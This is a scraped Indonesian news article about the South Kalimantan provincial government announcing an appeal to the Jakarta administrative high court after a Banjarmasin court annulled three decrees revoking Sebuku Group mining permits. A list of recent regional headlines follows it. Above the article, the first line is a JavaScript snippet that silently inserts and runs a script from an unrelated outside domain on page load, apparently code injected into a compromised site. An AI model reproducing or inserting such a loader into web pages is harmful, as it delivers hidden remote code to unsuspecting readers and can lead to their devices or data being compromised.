(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kalah di Kandang, Pemprov Kalsel Pastikan Banding ke PT TUN Jakarta


BANJARMASIN, Putusan majelis hakim PTUN Banjarmasin yang mengabulkan gugatan Sebuku Group serta membatalkan tiga surat keputusan (SK) Gubernur Kalsel atas pencabutan izin usaha pertambangan operasi produksi (IUP-OP) dipastikan akan kembali diuji ke Pengadilan Tinggi Tata Usaha Negara (PT TUN) Jakarta.

Pemprov Kalsel selaku pihak tergugat akan segera mengajukan banding ke PT TUN Jakarta atas putusan tiga majelis hakim PTUN Banjarmasin yang mengabulkan seluruh gugatan tiga perusahaan tambang milik  Silo Group, Kamis (7/6).

Usai tiga majelis hakim PTUN Banjarmasin memutuskan bahwa SK Gubernur Sahbirin Noor atas pencabutan IUP-OP Sebuku Group tidak sah dan dibatalkan,  langkah banding harus diambil Pemprov Kalsel. “Jujur saja, kami kecewa atas putusan majelis hakim PTUN Banjarmasin yang mengabulkan seluruh gugatan Sebuku Group ini,” kata Sekdaprov Kalsel Abdul Haris Makkie dalam jumpa pers di Jalan Gatot Subroto, Banjarmasin.

Menurut Haris Makkie, majelis hakim PTUN Banjarmasin terkesan mengabaikan fakta-fakta hukum dan keterangan saksi ahli yang dihadirkan pihaknya dalam persidangan. “Putusan PTUN Banjarmasin bukan putusan akhir, masih ada upaya perlawanan hukum banding ke PT TUN (Pengadilan Tinggi Tata Usaha Negara) di Jakarta,” tegasnya.

Sebelumnya, seusai putusan sidang Andi M Asrun selaku kuasa hukum Gubernur Kalimantan Selatan juga menyatakan akan melakukan banding ke PT TUN atas putusan ketiga majelis hakim. Menurutnya, hakim hanya  mengikuti bukti dan fakta hukum dari pihak penggugat (kubu Yusril Ihza Mahendra) dan mengabaikan fakta dan bukti yang pihaknya sampaikan.

“Kita sangat kecewa dan akan banding. Majelis hakim mengambil alih pendapat penggugat dalam membenarkan putusan. Logika yang digunakan ngawur dan tidak tepat,” jelas Asrun dengan nada kecewa.

Putusan sidang yang mengabulkan gugatan PT Silo Group disampaikan tiga ketua majelis hakim PTUN Banjarmasin, yakni untuk perkara Nomor 4/G/2018/PTUN.BJM,  gugatan PT Sebuku Sejaka Coal adalah Luthfie Ardhian. Lalu, perkara bernomor 5/G/2018/PTUN.BJM , gugatan PT Sebuku Tanjung Coal dengan hakim ketua Retno Widowati. Serta, perkara nomor 6/G/2018/PTUN.BJM  gugatan PT Sebuku Batubai yang dipimpin hakim ketua Dafrian.(ammar)

Reporter:Ammar
EditorCell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Dibatasi 1 Jam, Ini Aturan Masuk Taman Van der Pijl

KANALKALIMANTAN.COM, BANJARBARU - Taman Van der Pijl Kota Banjarbaru kembali dibuka untuk bisa dinikmati masyarakat.… Read More

42 menit ago

Jalan Nasional di Banjarmasin Terendam Banjir Rob

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang melanda wilayah Kota Banjarmasin tak hanya melanda kawasan permukiman… Read More

2 jam ago

Jalan Prona Banjarmasin Langganan Banjir Rob

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob kembali melanda wilayah Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel), Rabu… Read More

3 jam ago

Dibuka Bupati Banjar, Turnamen Sepakbola Bawahan Selan Cup  2025 Bergulir

KANALKALIMANTAN.COM, MARTAPURA - Turnamen Sepakbola Bawahan Selan Cup tahun 2025 secara resmi dibuka Bupati Banjar… Read More

14 jam ago

Ketua DPRD Kotabaru: Kita Kehilangan Sosok Jerry Lumenta yang Bersahaja dan Peduli Masyarakat

KANALKALIMANTAN.COM, KOTABARU - Ketua DPRD Kabupaten Kotabaru, Suwanti mengunjungi rumah duka sekaligus memberikan penghormatan terakhir kepada… Read More

15 jam ago

Dugaan Pelecehan Seksual di Banjarbaru, Nakes Perempuan Lapor ke Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dugaan pelecehan seksual yang dialami seorang tenaga kesehatan (Nakes) perempuan salah satu… Read More

16 jam ago

This website uses cookies.